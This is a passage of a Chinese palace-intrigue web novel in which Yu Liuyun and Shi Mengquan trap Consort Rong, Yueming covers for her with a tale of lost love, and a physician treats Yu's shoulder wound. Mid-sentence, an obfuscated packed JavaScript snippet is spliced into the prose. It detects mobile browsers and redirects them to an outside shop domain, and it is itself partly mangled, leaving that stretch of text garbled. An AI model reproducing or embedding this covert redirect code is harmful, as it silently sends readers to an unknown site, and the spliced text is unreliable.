“可是……”玉朝雾还想再说什么,容贵妃已从一边搀扶了上来:“玉大人有事忙,皇后娘娘就交给博西勒吧。娘娘不嫌弃,臣妾给您讲讲草原上的有趣事儿。”一壁说着,一壁将玉朝雾扶到了榻上。 玉旒云就向姐姐行了礼,又招呼石梦泉:“你说完了没?该做事去了。” 石梦泉听唤,自然叮嘱母亲、姑母不可将方才的事泄露半句,出了暖阁同皇后告别,与玉旒云一起走到了凤藻宫外。 玉旒云朝他挤挤眼睛:“怎样?那女人是不是一直在偷听呢?” 石梦泉道:“她已经快把那帘子上的珍珠都数清楚了,想必你和皇后娘娘说话她也听了个大差不离。你跟皇后说的什么?” 玉旒云嘿嘿一笑,同他一起走下了台阶,离开宫殿有一段距离了,才低声道:“还不就是纯懿敦慧皇贵妃的那档子事儿?兄终弟及的诏书,灵位……该说的我都说了。” “你想骗她去奉先殿然后治她的罪?”这倒不失为一个除掉眼前威胁的好办法。 玉旒云自然不否认:“她活着,对姐姐终究是个威胁,还是除掉了比较放心。这次若是赵王不保她,算他倒霉。若是赵王要保她,那么赵王卖我一个人情,我也卖他一个人情,这戏唱起来才不至于像是三流戏班的水平。” 石梦泉笑笑:他可是一点儿也不想唱这出戏,不过也没有别的选择。 迎面容贵妃的三个使女走了过来,同二人行礼,又匆匆朝宫内走。 玉旒云道:“她们这是……” 石梦泉因将容贵妃方才支开使女,吩咐这三人去准备回宫的事说了。 玉旒云听罢,冷笑一声:“这人倒厉害,分明是准备偷听完了就走的,现在大概是怕我们起疑,所以故意多留一会儿。不晓得赵王上哪里找了这么个蛇蝎美人。” 石梦泉道:“他们算计咱们,咱们也算计他们。就不晓得容贵妃究竟会不会上我们的当?” 玉旒云道:“这种事情如何能打保票?不过做戏就做全套。把禁军中最信得住的调一队来,一会儿让他们上奉先殿门口拦我去。” “你是说……”假装自己要去寻那封诏书,结果不巧遇上了巡逻的禁军? 两人十几年来早有了默契,自然不用把话说明了,玉旒云点头道:“先去拦我,一会儿再去拦你,把时间估计估计,总要让容贵妃看见一回。第三次,就抓她了。” 石梦泉道:“是。我看就找蒋文来搭戏好了,皇上放心让他看守你,可见对他也很信任。” “好。”玉旒云道,“就交给你去做。” 他二人便依计划唱起这出戏来,先后在奉先殿前装模做样了一番,每次都是一到殿跟前,蒋文就带着人马远远地转过来,他们便是一副“只得作罢”的样子,匆匆离去。 差不多到了太后晚宴的时间,玉旒云暗暗地交代蒋文仔细看守,自己同石梦泉来到了慈宁花园。 其时宴会还不曾开上,宫女太监正忙忙碌碌地将果蔬醴酪搬运出来,花篮花球点缀在檐前窗下,喜气洋洋。 二人才进宫门,就听一声“喂”,接着,愉郡主一身惹眼的桃红色便抢到了跟前。石梦泉几乎不由自主就想往后退。而玉旒云一见到这个姑娘,心里就有无名火。 “那个……谁……”愉郡主开头嗓门挺大,看了玉、石二人一眼,就低下头去,用蚊子哼哼似的声音道,“二位大人来啦,太后娘娘刚还念叨着……” “噗”玉旒云扭过头去,差点儿就笑了出来,推推石梦泉:“你……快跟郡主去拜见太后娘娘吧。我一个人先在这里逛一回儿……” 石梦泉硬着头皮,暗道:只当是派我单人匹马赤手空拳地闯敌阵,死便死也!当下一咬牙,板着脸走到了愉郡主身边。 玉旒云看他们两人并排的背影,简直就像是不搭调的皮影戏一样别扭,实在忍不住了,转身躲在一株花树后大笑——自然还得拼命忍着不要笑出声来叫人发觉了。其实也不完全为了滑稽,本来这样明争暗斗的时候应该绷紧了浑身上下的每一根弦才是,但她就是有一种近乎放肆的轻松。是因为有石梦泉在身边的缘故。解释不清楚,但她知道是这原因。尤其是这一次,大青河之役,她几乎就失去了这个挚友。如今这种失而服得的喜悦,实在是叫她不知道要怎样表达才好。 已经笑得浑身打颤,肩膀都快要散了。猛地,有人在背后拍了她一下:“玉将军……不,玉大人!一个人在这里乐什么?” 脸上的笑容立刻一扫而空,仿佛暮春的傍晚顷刻变成数九的黎明,玉旒云冻成了一块坚冰。“王爷找下官有何事?”她漠然地盯着翼王。 “大事!”翼王闭门羹吃多了,尴尬的时候还笑得出来,“我的这位小表妹愉郡主终于找着了她的如意郎君,和你的得力部下有情人终成眷属,这难道不算是大事么?” 玉旒云冷笑,不理会。 翼王道:“我听说就在这宴会上,太后娘娘就要给他俩做主啦。玉将军今天又高升,你可谓双喜临们,一会儿我非得好好敬你一杯不可。” “不敢。”玉旒云道,“下官还有事,先……” “哎——”翼王放肆地,一把搭上玉旒云的肩,“有什么大事比得上终身大事?玉大人既然替他们开心,也可以让别人为大人开心。” 玉旒云“啪”地打落他的手:“谁说我开心?王爷放尊重点!” 翼王撮着手,笑:“哦?大人不开心么?难道方才大人是在哭?是看到别人成双捉对,感慨自己形单影只么?” 玉旒云觉得与此人多对答一句都令人作呕,看翼王又不识相地朝自己伸过手来,就偏身朝旁一让,跟着一掌切在翼王的手腕上,一抓一甩,登时将这登徒子推开了一丈多远。她自己还嫌脏地掸了掸手,冷笑一声,走进慈宁宫大殿去。 太后似乎已经在说愉郡主和石梦泉的婚事了。那小姑娘的脸颊和她桃红色的衣服相映成趣,石梦泉的面上却没有一丝表情。 戏若由他这样唱下去,总要露陷的。玉旒云便走上前去给太后见礼,顺便替好友救救场。 太后连逢喜事,满面红光,笑道:“我老太婆活着也没什么别的指望,就是看着年轻人一对对地成家,孩子们一个一个地生出来。小愉这性格我还真替我那妹妹担心,恐怕这丫头嫁不出,如今还真被她追到了石将军,我看我妹妹也就可以放心了。” 愉郡主咬着嘴唇,估计赵王妃千叮咛万嘱咐要她做出温柔贤淑的样子,否则换在平时,她早就要嚷嚷着抗议了。 太后又对玉旒云道:“你倒来得早,怎么不多陪陪你姐姐?我听说你今做了领侍卫内大臣,很好,就不用长年在外奔波,可常常陪皇后说说话了。” 玉旒云只垂首说“是”。 这时,被摔得七荤八素的翼王扶着帽子走了进来:“母后,您偏心!您关心皇兄、皇嫂,关心愉表妹,怎么就不关心儿子我?” 宫里人人都知道他属意玉旒云,太后也不例外,晓得儿子肯定又是在惊雷将军跟前碰了壁,笑道:“傻孩子,做娘的哪儿有不关心儿子的?可你皇兄皇嫂还有你愉表妹跟石将军都是两情相悦,娘不过就是做个顺水人情而已。你呢?娘可以把个姑娘送到你的面前,可没本事把人家的心掏出来给你。你要是有出息的,就自己去把人家追到手——我还是那句话,咱们大樾国是草原上起家马背上的英雄,不讲求那些个繁文缛节,相中了就拿出本事来追,旁人帮不上忙。” 众人都陪笑。玉旒云只当没听见。 翼王嘟囔:“说得倒轻巧。究竟要怎么个追法,儿臣心里一点谱都没有——玉大人,小王驽钝,请您千万给个提示吧?” 这话是存心要要玉旒云为难下不来台——不答应,那就是公然驳了太后的面子,答应,无论怎么答,都有调情的意味,以后翼王难免得寸进尺,叫人不得安宁。石梦泉心里焦急万分,直恨自己一点儿忙也帮不上。 也偏巧,恰在此时,外面太监通传:“皇上驾到,皇后驾到。”跟着又是“赵王爷、赵王妃,永泽公靖远将军觐见。”满屋的人急忙闪开两边,齐向庆澜帝夫妇叩拜行礼。 “自家人,何来这么多麻烦!”太后叫大家都平身,“你们这么一跪,皇帝就要来跪我老太婆,皇后也要跟着跪——她如今这身子可折腾不起。都舒舒坦坦消消停停地坐着等用膳吧——哟,三皇叔、妹妹,你们可算来了,我老太婆做主,把你们家小愉给嫁了!” 赵王夫妇听言,赶紧谢恩。悦敏则笑着上来拍拍石梦泉:“石兄弟,这回我们可终于做了兄弟了,说实话,我还有点儿担心你会临时变卦呢!” 石梦泉警惕地:“小王爷这话怎么讲?” 悦敏道:“那天你说,玉将军若不恢复自由之身,你就无心儿女之事,我听着就像是个借口。心道,八成是我这妹妹太过刁蛮任性,叫人招架不住,恐怕玉将军恢复了自由,你又要说什么‘楚国不灭,无以家为’之类的话。等到楚国灭了,你又要说‘不灭蛮族,决不娶妻’……长此下去,我妹妹难免成了老姑娘,而我赵王府上下更少不得被她当成出气筒,不得安宁……” “大哥!”愉郡主被当众取笑,羞得满面通红,只扑过去捶打悦敏。 悦敏哈哈大笑:“石兄弟你可看到了?将来这样的苦头可有得你吃!” 石梦泉可一点儿也笑不出来,偷眼望玉旒云。玉旒云抿着嘴微笑着摇摇头,仿佛一切都只是个笑话而已。石梦泉也就只好轻轻地叹了一口气。 太后在那边道:“别闹了,我老太婆眼睛都叫小愉给弄花了——悦敏你这孩子也是,何苦招惹你妹妹?你爹娘由着你,我老太婆可要来说你几句——不孝有三,无后为大。你的年纪也不小了,怎么还不见你成家?” 悦敏一把钳住妹妹的拳头,将她押送到石梦泉的身边。“老祖宗饶了我吧!我在边关的时候,我父王一天唠叨我五十遍。我回了西京,我母妃一点唠叨我八十遍。老祖宗您一句话的分量比他二位加起来还重。您三位一起上阵,我可就虱多不痒,债多不愁,死猪不怕开水烫……” “这张嘴!”太后说着,自己先笑了起来,“让他去带什么兵?打什么仗?不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728610|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说书可真浪费了!” “可不是。”赵王妃附和,“去做生意也是好的,把人唬得一愣一愣的,最后都不知道开始要跟他说什么了——老祖宗千万不要上他的当,见到合适的亲贵小姐,就替他留意一个。” 太后道:“一定。” 正太监进来说酒宴备好,可以入席了,太后点了点头,问:“人都来齐了没?” 自有宫女替她看了一圈,回说:“各宫主子都来了,就不见容贵妃。” 玉旒云和石梦泉的心中都不禁一动。二人互望了一眼,暗想这瓮中捉鳖之计恐怕就成了,不免相视一笑。 太后哼了一声,道:“不等她了。她肚里那点儿鬼心思,还怕人不知道么!上席!”便由她带头,庆澜帝夫妇左右随同,众人簇拥着到慈宁花园里入座。太监宫女次第送上了酒馔来,大多是皇后向日爱吃之物,万千宠爱可见一斑。 石梦泉虽然是“定了婚”,不过照旧坐在玉旒云的下首,借着觥筹交错,正好也商量下一步的计划。只是两人还未说得几句,忽然听那助兴的鼓乐一变,几个劲装宫娥持着金光闪闪的马鞭子跑进了花园来。跟着,容贵妃身着蛮族服饰,一手一根金鞭飞旋着舞到了中央。她的身手好是矫健,仿佛是被一团金光笼罩着的,而姿态又十分优美,奔腾跳跃轻灵无比,正像草原上的小鹿。更有趣的是,那金鞭上饰着铃铛,声音清脆,本身就是一首美妙的乐曲。众人无不被她所吸引,眼睛也舍不得眨一下。 只玉旒云和石梦泉惊了惊:咦,她没有上当么? 容贵妃把金鞭子朝左边挥出,伴舞宫娥便也一齐挥动金鞭。慈宁宫墙外就有烟花蹿天而起,仿佛天幕上盛开了金黄的蟹爪菊。她再将鞭子朝右边甩出,伴舞的宫娥又来响应,这边的宫墙外也有烟花被点燃。只见容贵妃且舞且转,每转到一个方向,就有一处燃起烟花。一时间,天空中五颜六色,百花竞放,让人叹为观止。 “容贵妃,”太后问道,“你这是从何处想出来的新鲜玩意儿?” “回老祖宗,”容贵妃袅袅婷婷地俯伏在地,“臣妾想恭喜老祖宗,恭喜万岁爷,恭喜皇后娘娘。本该送一份礼物,但是,天下间什么稀奇的事物老祖宗没有见过呢?臣妾只好连夜排了这支新舞,让老祖宗见笑了。” 太后在后宫中住了一辈子,妃子们什么争宠的手腕没见过?因道:“见笑也是让我笑了,就算我领了你这份心,也就送你一句话——做人要老老实实,本本份份的,要是怀着鬼胎算计那自己不该得的东西,总没什么好果子吃。” 容贵妃道:“是。” 太后因摆了摆手:“去换身衣服,大家一起和和气气地吃顿饭吧。” “是。”容贵妃磕了头,领宫娥们出去了。 玉旒云的心里好是失望,闷闷地擎着酒杯。石梦泉便低声道:“不打紧,总还有别的办法治住她。” 不觉又喝了几圈酒,庆澜帝已经显出了醉意,也不顾人多,拉着皇后的手絮絮地不知说些什么。玉朝雾皇后面色酡红,不胜娇羞。赵王妃已经离了座位到太后身边,姐妹俩相谈甚欢。愉郡主也就坐不住了,跑到石梦泉这边,道:“我哥哥说,回北疆之前要去东京的别墅一趟。那里的荷花就要开了,很漂亮。你也一起来吧?” 石梦泉当然立刻就要回绝,然而玉旒云在旁边使了个眼色,他只好勉强道:“郡主美意,却之不恭……” 愉郡主立刻眉开眼笑:“好啊,好啊!我这就去跟大哥说!”便蹦蹦跳跳地往对面席上跑。 石梦泉无可奈何地叹气,瞥了眼对面的坐席,见悦敏正笑嘻嘻地起身,告更衣。他先还没在意,可猛然心中一闪——正此时,玉旒云也投来了兴奋的一瞥:容贵妃怎么换衣服换到这时也不出现?悦敏倒又离席了! 两人心里登时又燃起了希望,不动声色继续饮宴。过了没多时,果然听到慈宁花园外一阵嘈杂的脚步声,接着有个小太监慌慌张张地跑来通报:禁军督尉蒋文有要事禀报玉大人。 玉旒云“噌”地就跳了起来,拔脚朝外走。石梦泉紧随在后。到了慈宁花园外,果然看到蒋文领了一队禁军正押着容贵妃。这女人披了袭漆黑的斗篷,几乎就可以溶进夜色中去了。与玉旒云对视时,她眼里有无限的怨毒。 玉旒云轻轻一笑:“你也算聪明,弄出舞蹈烟花来,大约把全宫人的注意力都吸引过去了,再来做你那见不得人的勾当——可惜,你选错了对手。” 容贵妃咬着嘴唇不说话。 蒋文道:“玉大人算得没错,卑职等在奉先殿周围守株待兔,便见到了贵妃娘娘意图私闯禁地。大人现下将如何发落?” “如何发落?”玉旒云眯起眼睛,“这自然是……”怎么不见悦敏? 才想着,悦敏从黑暗的步道上匆匆走了过来,面上满是惊讶之色:“咦,玉大人第一天上任,就抓到刺客了么?厉害!厉害!” 玉旒云无声冷笑:“永泽公不是更衣么,怎么跑到了慈宁宫外?” 悦敏讪笑着,并不回答。到跟前了,他跟容贵妃打了个照面。玉旒云目不转睛地捕捉他们面色细微的变化。 悦敏停住了脚步:“这……这不是容贵妃么?玉大人怎么把贵妃娘娘拿下了?” 他装疯,玉旒云就卖傻:“我哪里晓得?这不才头一天上任么?说是这队禁军在奉先殿跟前巡逻,看到贵妃娘娘鬼鬼祟祟意图溜进这供奉祖宗灵牌的要地去,就立刻把她拿下了。其实领侍卫内大臣之职空缺良久,大家都不知道应该是怎么个办事程序,所以就上这儿来找我了。我可不知道禁军办事的规矩——遇到有人擅闯奉先殿,该是怎么查问?” “回大人的话,”蒋文道,“凡意图对祖宗不敬的,无论是否查实,都需立刻向皇上禀报。卑职知道皇上跟跟太后娘娘饮宴,所以不敢造次……” “混帐!”玉硫云骂道,“出了这么大的事,是饮宴重要,还是禁宫安全重要?当然是立刻禀报皇上了!天大的事本大臣给你担着!走——”说着,就要跨进慈宁花园去。 “等一等!”悦敏一掌按在玉旒云的肩头。 胆敢行凶!石梦泉一步抢上。 然而悦敏也意识到自己造次了,收回了手,向玉旒云道歉:“玉大人请稍待。小王有下情……” “哦?”玉旒云也习武多年,但刚才他那一击竟毫无闪避的余地,肩胛此时还隐隐作痛。 悦敏望了一眼容贵妃,似乎是下了很大的决心,向玉旒云垂首道:“贵妃娘娘她……是小王约出来的。” “你……”容贵妃一脸惊讶。其余的人都静待下文。 悦敏道:“请玉大人让这些禁军兵士先行退下。小王这件事,不可当着他们说。” 蒋文等都不愿意。不过玉旒云挥挥手让他们照办——就在这慈宁花园的门口,难道悦敏还能杀了她灭口不成?左右还有石梦泉在呢。“石将军可以留下吧?”她道,“这可是你的妹婿。” 悦敏点了点头,待蒋文等人都走得很远了,他便一把将容贵妃拉入怀中:“玉大人,小王是和博西勒相约见面,因为奉先殿那里人少,才约在彼处,不想……” 玉旒云差点儿要笑出来:竟有如此理由! 悦敏却还接着说道:“我在北疆打仗之时就认识了博西勒。本来她应该是我的妻子,可父王执意要将她献给万岁爷。父子、君臣,没有哪一条我可以反抗。可怜博西勒她就……” 容贵妃的眼泪夺眶而出:“你不要说了!” 这戏倒还演得挺真嘛!玉旒云和石梦泉对视了一眼。 悦敏道:“我已经找了她好几次了,想放弃官职爵位跟她一起远走天涯,可她一直都没有答复我。今天我约她时说,这是最后一次,若她不再喜欢我,一心要服侍皇上,那么今夜见面之后,我就永远不再打搅她的生活。她大概是为着这个原因才赴约的吧……是我害了她!” 玉旒云抚弄着手指似笑非笑:她是准备要卖一个人情给赵王,但是没想到悦敏竟找出如此一套荒诞不经的说辞。 “这要叫我如何是好呢?”她说道,“闯奉先殿是死罪,妃子红杏出墙也是死罪,和皇上的妃子幽会还是死罪……永泽公看……” “死就死了吧!”容贵妃幽幽地说道,“反正我自从被送进宫,心就已经死了。你说出这样掏心掏肺的一番话,我还有什么可遗憾的?就来世再会好了。” “博西勒!”悦敏紧紧握住她的手。“我不要来世。我们就一起去求皇上,求太后,或许把事情合盘托出,他们也能给我们一个恩典……” “你傻了么?”容贵妃道,“这哪会有什么恩典?只会把我们两个都定死罪。你父王、母妃也跟着颜面扫地,还有你妹妹……这太不值得了。倒不如治我一个擅闯的罪名,让我一个人死,不要拖累大家。” “不!”悦敏道,“要不就我和你一起死。父王当初拆散我们。他不顾我,我今天也就顾不了他了。” 玉旒云皱着眉头:越听越像是三流戏班子。她望望石梦泉:如此闹下去,大家都没有好处。 石梦泉也是一个心思,用眼神探问道:现在怎么打算? 那就做个顺水人情吧!玉旒云负着手:“永泽公,我可没想到你是这样一个多情种子。这事情嘛,闹出来了对大家都没什么好处。不如就由我玉某人压下来——呵,没想到我第一天上任就滥用职权!” 大约早就料到会是这般收场,悦敏并无太多惊讶:“玉大人的恩情,我悦敏一定不会忘记。” 玉旒云道:“这算什么恩情?与人方便,自己方便。说实话,我还真担心容贵妃花容月貌,会和我姐姐争宠呢。现在知道她心里装着永泽公,我也就放心了。” 容贵妃擦干眼泪:“玉大人说哪里话?皇后娘娘德才兼备,如今又怀了龙裔,后宫里无论是谁,觊觎她的地位那就是不知死活。博西勒只会好好侍奉皇后娘娘,其他的妄想,一点儿也不敢存。请玉将军放心。” 那最好。玉旒云话没说出口,不过眼神已经送到了。她的冰冷遇上了博西勒的,旁边的石梦泉和悦敏都感到了寒意。 “好吧,那大家都还愣在这儿做什么?”玉旒云打了个哈哈,“快还席吧,不然皇上和太后娘娘该起疑心了。” “正是。”悦敏说着,让容贵妃先走。稍待了片刻,自己也走回了慈宁花园去。 玉旒云和石梦泉在最后。他们先交代了蒋文,今夜的事情绝对不可声张,接着才并肩还席。 计划成功,玉旒云兴奋得眼中发出了光芒。不过肩头被悦敏拍了一掌,还在作痛,她忍不住拿手按了按,又微皱眉头。 石梦泉注意到了,关切地问道:“怎么?很痛么?不是被他伤到筋骨了吧?” 玉旒云摇摇头:“我又不是纸扎的,这么容易伤筋动骨么?不过这家伙出手的确狠辣,要是他无所顾忌,恐怕今天我的胳膊就不在了,命也不知能不能剩下半条。” 石梦泉道:“是我不好。离得那么近,竟然没能阻止他……” “什么话!”玉旒云望他一眼,“哪有妹夫跟未来大舅动手的?反正是在慈宁花园的门口,又有禁军在,谅他也不能把我怎样。现在我不也好好儿的一点事都没有么?” 但保护你的安全就是我的责任,石梦泉默默地说。 玉旒云嘻嘻一笑,用没受伤的手拍了拍他:“我看,你是病好之后没练武功,反应迟钝了。今天发现自己退步,所以耿耿于怀,对不对?没关系,明儿一早我来找你喂招。咱们也有很久没一块儿练功了吧?” 是啊,很久了。石梦泉心中不禁一阵狂喜。 两人已经回到了席上,各自坐下。看到对面赵王父子都擎着酒杯,窃窃地正在耳语。注意到了这边的目光,两人就一起举杯遥祝。 玉、石二人自然也举杯回敬。 “看着吧!”玉旒云轻声道,“明天一定请咱们过王府去。我早上到了你家那他们一趟就可以请到咱们两个人,实在省了不少功夫啊。呵呵!” 30. 第 30 章 第二天一早,玉旒云果然按照约定来找石梦泉了。不过,武是没练成——才没过几招,石梦泉就注意到她频频皱眉,剑招总也送不到位,想来是悦敏前夜那一掌留下的后遗症。石梦泉便不肯再继续下去了,夺下玉旒云的剑来:“别勉强了,伤得很厉害吧?” 玉旒云仿佛轻松地一笑:“没事。不过歇歇也好。”自揉了揉肩膀,迈步进屋去坐。 去年她送石梦泉的画卷已然都挂到了墙上,那无名氏的《梦泉》、《问泉》、《探泉》、《叩泉》、《拜泉》、《听泉》、《忆泉》七首绝句悬挂在堂屋正中,玉旒云走到跟前端详端详,为自己的眼光很是得意,又问:“另一幅长卷你可收着么?” 石梦泉知她指的是《万里山河图》,点头道:“在书房里。你要看么?” 玉旒云笑着摇摇头:“不用。”她指着自己的脑袋:“早都装在这里了,一刻也不曾忘记过。” 莫非她又在计划下一次出兵?石梦泉想,可大青河之战才结束不久啊!其实相比那幅《万里山河图》,他更喜欢这无名氏的画卷,不过玉旒云的心思是永远不会停在普通的石兰之上的。 “我一直在想,赵王拉拢我们是什么原因。”玉旒云道,“对于他来说,把咱们除掉可能更容易些——说到领兵,他自己已身经百战,悦敏也是年轻一辈贵胄子弟中数一数二的猛将,他不缺人替他打仗。说到架空皇上,那就更加用不着拉拢咱们了。他现在却连自己的女儿也搭了进来,这……” “我却不这么看。”石梦泉道,“你虽然不能说是只手遮天权倾朝野,但是皇上登基以来,我大樾的军队横扫北方,而落雁谷之后,天下有谁不知道你惊雷大将军的名号?赵王也许不缺人替他打仗,但是却缺少一个像你这样能叫人闻风丧胆。所以,他不惜一切代价,也要将你笼络过去。” “那么你呢?”玉旒云笑问。 “我?”石梦泉不知她用意,愣了愣,道,“我是你是属下,大概算是顺带的吧。” “你这家伙!”玉旒云放下茶杯,又轻轻活动了一下受伤的肩膀,“这样来说吧……赵王为什么拉拢我,我猜过个中原因,也跟你分析的差不多。不过,我怕高估了自己,觉得应该听听第二个人的意见。至于他为什么拉拢你——”她深深地看了挚友一眼:“你不要妄自菲薄,你并不是我的附属。在战场上报出名号来吓人,也许是我的名字更可怕些。然而与士卒们亲如手足,让他们心甘情愿地拼上性命,你的号召力可比我大得多了。罗满、赵酋,他们每一个都随时会为你去死吧?” 两人没有嫌隙,才能说这样的话。若换在旁人,早就有“结党营私”“功高震主”“图谋不轨”的意味了。 石梦泉道:“大人你要考虑全局战略,自然和士卒们疏远些。我是平民出身,跟他们也就比较亲近。” 玉旒云笑道:“正是,所以赵王才需要我们两个……”她顿了顿,又道:“其实关赵王什么事,你知道我在想什么?攻下这万里山河……呵呵,大约也正是需要我们两个人吧?” 石梦泉没作声。是不知道要如何回答。半晌,才道:“刘子飞和吕异接手了我们的人马,我恐怕他们会暗中做点什么小动作,所以将将士名录和所有辎重细软都登记在册。瑞津那边叫罗满盯着,有事就立刻汇报。” 玉旒云点头:“只有你才能想得这么周到,又办得如此妥当。恐怕换了我,要怨声载道呢……对了,顾长风这人,不知用什么法子能收服?我这次在南方用了些非常手段,恐怕和他结怨更深了。” 石梦泉知她指征民夫民船之事。这何止是非常手段呢?简直不尽人情了。换成是他,一定不会这样做。然而这也正是他所不具的魄力吧? “顾侍郎这个人……”沉吟着,斟酌字句,“其实也不是单和你结怨,他在朝中的敌人也够多的。” “呵,”玉旒云笑道,“那倒是同我很像啊。一定要找个机会和他把话说开了……不过也许不应是现在。有的时候,朝中有两个树敌如林的人,就可以彼此分担一些仇家,倒不失为一件好事。” 石梦泉也笑:“但这两个人若彼此为敌,却不知是怎样的情形?” 玉旒云道:“岂不知一个巴掌是拍不响的么?我可不与顾长风为敌,他若要和我作对,大约也做不起来吧?只不过,有些时候这迂腐的书呆子碍手碍脚的,我没耐心,就得劳烦你帮我对付。” 说起“迂腐的书呆子”,他们的道路上又何止顾长风一个?程亦风,第一次让他们胜得不彻底,第二次让他们败得很难看。下次再交手不知是什么时候?那又会是怎样的情形呢? 两人便坐着喝茶聊天,等着赵王府的人上门。长久以来,难得有这样的清闲,如此东一句西一句的,简直像回到了小的时候。 可没多久,石梦泉注意到玉旒云的话少了,回脸看看她,只见面色苍白,牙关紧咬,手按着伤处直打颤。 他不禁变色道:“还说没事!你都疼成这样了!可不能再逞强,大夫都是现成的,那个林大夫的医术很高明,我这就叫他来。” “等等!”玉旒云忙拽住他,动作大了,自己疼得直吸气,“我是什么人,能叫他随便看的么?” 石梦泉一愕,才反应过来,直骂自己该死:怎么偏偏这时候倒忘记她是个女子呢? 可偏偏这时,林枢冷淡而没有一丝起伏的声音传了过来“什么叫随便看?”这面无表情的大夫已经如幽灵般出现在了门前。 他道:“在我们大夫看来,人只有‘死人’和‘活人’两种。而活人又分‘有救’和‘没救’。什么男女老幼,无非就是这人的一些个特征罢了,在我们看来,跟头疼与否,咳嗽与否没什么区别。” 玉旒云早在瑞津就领教了这大夫的臭脾气,当时有求于他,不得不忍气吞声,如今他治好了石梦泉,该当感谢,也没有和人发脾气的道理,因道:“林大夫,你医好梦泉,我早想当面谢你。在瑞津我曾许诺奏请皇上封你百草门为天下第一医馆。这承诺我一定遵守。此外你还有什么要求么?” 林枢听若不闻,径直走上了前来,手一伸就搭在玉旒云受伤的肩膀上,痛得玉旒云倒吸一口凉气。石梦泉也惊道:“大夫!” 林枢却不理会,手掌摸索着转了几个角度。玉旒云既疼且怒,却丝毫也挣不开,额上渗出冷汗来,怒喝道:“你干什么?” 石梦泉也拉抓林枢的腕子。然而这大夫用另一只手轻轻一拨,挡住了石梦泉,接着道:“那下手之人当时是这样打下来的吧?” 玉、石二人俱是一怔。林枢又把手在玉旒云肩头轻轻按了一下,道:“咦,出手的是什么人?这铁砂寒冰掌的功夫中原地方也少有能使得这么好的。此人功力少说也有十年,不过修炼以外功为重,内功就稍欠火候……恩,若是内功也有十年的修为,你这肩膀早就碎了。”他松开了手。 玉旒云抱着肩膀,因为疼得厉害,所以呼吸很浅,说话也急:“那就算我运气好,那人的运气差。他今天敢在我身上留下一个指印,我总要叫他全家掉了脑袋。” 林枢似乎是冷笑了一声,又似乎一直保持着那白纸一般的表情:“我不管谁要全家掉了脑袋,我只看这肩膀是有救还是没救——大人是现在让在下医治呢,还是打算拖着找旁人医治,等你三十岁之后,再也抬不起肩膀来?” 玉旒云愣了愣,几乎脱口一句“危言耸听”,但转念一想,这不是负气的时候,因道:“真有那么严重?你能治得好?” 林枢道:“在下方才已说了,活人只分两种——‘有救’和‘没救’。大人的这个伤宜早治不宜拖延,现在已经耽搁了一个晚上,将军就从‘有救’这边朝‘没救’靠近了些。究竟是何结果,还看大人自己。牛不喝水不能强摁头,人不想活命,我们做大夫也没那闲功夫非要救他们。” 说话就是这么叫人讨厌!然而玉旒云见识过了他的医术,也就容他恃才放旷。“好,你就来治治看!” 石梦泉听言,便要回避。可林枢叫住了他:“石将军,麻烦你点一盏灯来。” 当时天光大白,十分明亮,石梦泉委实不知其用意,但还是照办。却见林枢取出随身的一个布包,内有数十支银针,针尾雕成梅花形,还不及手指的十分之一粗细,而针头恍如蚊须,不仔细看根本就瞧不见。林枢抽出一根针来,凑到灯火上一烧,便在玉旒云的肩头隔衣服就扎了下去。 石梦泉见多了针灸疗伤的,可从未见过隔着衣服施针,虽然男女授受不亲,但看病毕竟是性命悠关的大事,不禁担忧道:“林大夫,这样……行么?” 林枢道:“怎么?你以为不除下衣服我就找不到穴道了么?方才不除衣服,不也一样找到伤处?”说时,又几针扎了下去。 石梦泉干着急却无摆布,只好盯着玉旒云看,见她面上的表情先十分紧张,后来竟也渐渐舒缓了起来,大约林枢没有下错针。 “大人感觉如何?”林枢问。 “好像没有知觉了。”玉旒云道,“不过也不痛。” 林枢点点头:“我要给大人连续施针三日,再用一些活血化瘀的药应该就无大碍。不过,这铁砂寒冰掌很是阴寒,在下看这出手之人是一时情急之下误伤了将军,乃是一击即收,故尔寒气并未深入将军体内。但为防万一,在下还是给大人开些固本培元之药,免得留下后遗之症。” 玉旒云轻轻“恩”了一声表示同意。石梦泉就叫下人伺候上文房四宝来,让林枢开方子。 看他笔走龙蛇,写得飞快,好像千百种药方早就存在心中,连想也不用想似的,玉旒云不禁好奇道:“林大夫,你究竟是如何不用看伤就知道那人是怎样打中了我,又是用什么武功打伤了我呢?” 林枢道:“这有何奇?何处筋骨血脉受了损,何处就阴阳失衡,五行不调,是为炎症。炎症之处比他处要热些,常人要触着肌肤放才觉察出,而大夫见的病人多了,隔着衣服也能找着发热之处。在下只将手比上了将军的伤,就知道出手之人是从哪个角度打伤将军。而将军之伤虽发热,又带阴寒,必然是被阴毒功夫所伤。阴毒功夫有许多种,但个个不同,其中的差别……大人不习医术,自然不知,也不需要知道。” 这就是嘲笑自己孤陋寡闻?玉旒云懒得同他计较。“百草门……”她喃喃道,“你们的医术果然高明。不过我先前并没有听说过。请问尊派是在我大樾境内么?” “不是。”林枢道,“过去不是,是在郑国境内。不过庆澜元年大人得了湛州,百草门就划到樾境了。” “原来是这样。”玉旒云道,“那你怎么不留在湛州到了瑞津来?” 林枢停下了笔:“怎么?大人查问起我的底细来了?我听说楚国有不少武林人士组织了义师来和将军作对。莫非将军认为我们郑国也有这么一批匹夫么?” 玉旒云一愕,笑道:“我倒不是那个意思,不过是想,你的医术如此高明,如果湛州没有什么值得你留念的,不妨留在我身边做个医官。我想我跟皇上开口,一个五品官总能给你求了来,不知你的意思如何?” 林枢掭了掭笔,继续写他的药方:“都说江湖和朝廷是两个不相干的世界,不过看古今豪侠传奇,总脱不了‘任侠仗义’‘边塞立功’‘受赏封侯’这个套路。可见江湖若不归了朝廷,终究是旁门左道。大人给在下这个机会,我岂有不乐意的道理?” 